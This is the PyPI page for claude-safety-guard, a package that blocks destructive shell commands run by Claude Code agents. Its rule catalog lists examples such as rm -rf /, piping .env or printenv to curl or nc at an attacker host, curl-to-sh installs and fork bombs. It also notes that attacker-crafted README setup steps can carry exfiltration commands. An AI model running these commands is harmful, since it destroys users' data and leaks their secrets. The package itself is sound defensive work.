Skip to main content

A zero-dependency Claude Code PreToolUse guard that blocks destructive shell commands before they run.

Reason this release was yanked:

0.1.2 includes security fixes. Previous version had regressions; please upgrade.

Project description

claude-safety-guard

A loud stop between your Claude Code agent and a destroyed filesystem.

claude-safety-guard is a tiny, zero-dependency Python package that plugs into Claude Code's PreToolUse hook and blocks the small set of shell commands that are nearly always a mistake when issued by an agent: rm -rf /, git push --force to main, curl … | sh, piping .env into curl, and ~20 other well-known destructive shapes.

It is intentionally a thin regex layer rather than a shell parser. The goal is a loud stop, not silent cleverness: every rule has a stable ID, a human-readable reason, and can be allowlisted individually without losing coverage of the rest of the catalog.


Why this exists

Agents sometimes typo. Sometimes they get confused about which directory they are in. Sometimes an attacker-crafted repository README contains a "setup step" that is actually a data-exfiltration command. A PreToolUse hook is the cheapest place in the stack to say "no, not this one", because it runs before the command hits the shell.

Three design commitments:

  1. Fail loud, not clever. The catalog is narrow and focused on shapes that have near-zero false positives in practice. A finding always surfaces a stable pattern_id so you can allowlist it if you disagree.
  2. Fail open on the hook itself. If the hook crashes, the agent still works — a broken guard must not brick your workflow.
  3. Zero runtime dependencies. Pure Python stdlib. Nothing to vendor, nothing to audit.

Install

pip install claude-safety-guard

Requires Python 3.10+.

Quick check it works

claude-safety-guard check -- rm -rf /
# BLOCK   rm -rf /
#   - [block] fs-rm-rf-root               Recursive force-delete targeting the filesystem root or /home. …
#     matched: 'rm -rf /'

claude-safety-guard check -- ls -la
# ALLOW   ls -la

Wiring it into Claude Code

Edit ~/.claude/settings.json (or your project-local .claude/settings.json) and add a PreToolUse hook for Bash:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "claude-safety-guard hook"
          }
        ]
      }
    ]
  }
}

That's it. The next time Claude Code tries to run a Bash command, the envelope flows through the guard. Blocked commands are denied with a reason Claude Code surfaces back to the model; allowed commands pass through untouched.

A ready-to-copy example lives at examples/settings.json.


What it catches

Category Examples
Filesystem rm -rf /, rm -rf $HOME, rm -rf ., mkfs.ext4 /dev/sda1
Git git push --force origin main, git reset --hard origin/main
Secrets cat .env | curl …, printenv | nc attacker 9999
Supply-chain curl … | sh, pip install https://…
Privilege / kernel echo hunter2 | sudo -S …, fork bombs
Package managers apt-get purge *

Full catalog: docs/PATTERNS.md — or run:

claude-safety-guard list-rules

Every pattern has an ID (fs-rm-rf-root, git-force-push-mainline, …) that is stable across releases. The catalog is additive: new rules arrive in minor releases; existing IDs never change their meaning.


Configuration

Config file (TOML) lives at, in priority order:

  1. $CLAUDE_SAFETY_GUARD_CONFIG
  2. $XDG_CONFIG_HOME/claude-safety-guard/config.toml
  3. ~/.config/claude-safety-guard/config.toml
# ~/.config/claude-safety-guard/config.toml

# Silence specific rules. Every entry is a named exception. Unknown IDs
# are dropped with a warning on stderr.
allowlist = [
  # "fs-rm-rf-home-var",
  # "git-clean-fdx",
]

# If true, BLOCK findings are downgraded to WARN. Useful for a week of
# observation before you turn enforcement on.
dry_run = false

# If true, WARN findings ask the user in Claude Code instead of passing
# through silently.
ask_on_warn = false

Every CLI invocation takes --config PATH to override the lookup.


CLI

claude-safety-guard check <command…>   Evaluate and print result (exit 1 on BLOCK).
claude-safety-guard check --json …     Machine-readable JSON output.
claude-safety-guard check --dry-run …  Downgrade BLOCK to WARN (exit 0).
claude-safety-guard hook               Run as the PreToolUse hook (stdin JSON).
claude-safety-guard list-rules         Print the full catalog as a table.
claude-safety-guard version            Print the version.

For a command with flags, use -- so argparse doesn't grab the flags:

claude-safety-guard check -- rm -rf /
claude-safety-guard check -- git push --force origin main

Library API

The same engine is available as a library if you want to wire the guard into CI, a shell wrapper, or your own agent.

from claude_safety_guard import evaluate

decision = evaluate("rm -rf /")
print(decision.outcome)        # Outcome.BLOCK
print(decision.findings[0].pattern_id)  # "fs-rm-rf-root"
print(decision.to_dict())

All public types (Decision, Finding, Pattern, Severity, EvaluationOptions) are frozen dataclasses, so they are safe to pass between threads and hashable where Python allows.


Threat model & non-goals

The guard is a speed bump, not a sandbox:

  • It does not shell-parse. A command inside single-quoted strings will still fire if the text shape matches, by design. If you legitimately need to echo 'rm -rf /' > note.txt, add fs-rm-rf-root to your allowlist or use a heredoc. See tests/test_patterns.py::test_string_quoting_is_not_bypassed.
  • It does not defend against a root-shell adversary who can already edit ~/.claude/settings.json or disable the hook.
  • It does not attempt anomaly detection, ML, or heuristics. Every rule is an auditable regex with a stable ID.

Security reports: see SECURITY.md.


Contributing

New patterns very welcome, especially if you have a concrete incident that motivated them. See CONTRIBUTING.md. Each new pattern must come with at least one positive test (commands that rightly trigger it) and one negative test (commands that look similar but must not trigger it).


License

Apache License 2.0. See LICENSE and NOTICE.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

claude_safety_guard-0.1.0.tar.gz (27.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

claude_safety_guard-0.1.0-py3-none-any.whl (25.8 kB view details)

Uploaded Python 3

File details

Details for the file claude_safety_guard-0.1.0.tar.gz.

File metadata

  • Download URL: claude_safety_guard-0.1.0.tar.gz
  • Upload date:
  • Size: 27.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.12.9

File hashes

Hashes for claude_safety_guard-0.1.0.tar.gz
Algorithm Hash digest
SHA256 b88bbd0562f15a55b696a94584bcf822090405b8f94ab14c72ac400de6d51801
MD5 4120d6abe42bc2a635a6e5fe39cecc03
BLAKE2b-256 6b93c2250a92eceb57f348a86dbae09366355f7203482b100c285cb0fb707ac3

See more details on using hashes here.

Provenance

The following attestation bundles were made for claude_safety_guard-0.1.0.tar.gz:

Publisher: release.yml on hinanohart/claude-safety-guard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file claude_safety_guard-0.1.0-py3-none-any.whl.

File metadata

File hashes

Hashes for claude_safety_guard-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 d11eec51963606df8983f75cee37d01b9f7546cf84956495935c8156ffa4895d
MD5 9191d1318c286510fa692768cd6cb3d4
BLAKE2b-256 0b1ed75405481727be2fa0df62994553d7efc2483938fe8fad38e5282fc9a240

See more details on using hashes here.

Provenance

The following attestation bundles were made for claude_safety_guard-0.1.0-py3-none-any.whl:

Publisher: release.yml on hinanohart/claude-safety-guard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page